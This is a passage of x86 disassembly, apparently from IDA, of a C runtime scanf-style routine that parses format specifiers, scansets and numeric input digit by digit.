		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D084, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D088, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D088
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D084, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D084, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D428
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D300
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D2F8


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE78
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D084
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D084, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D084, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D084, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D084, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE78
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
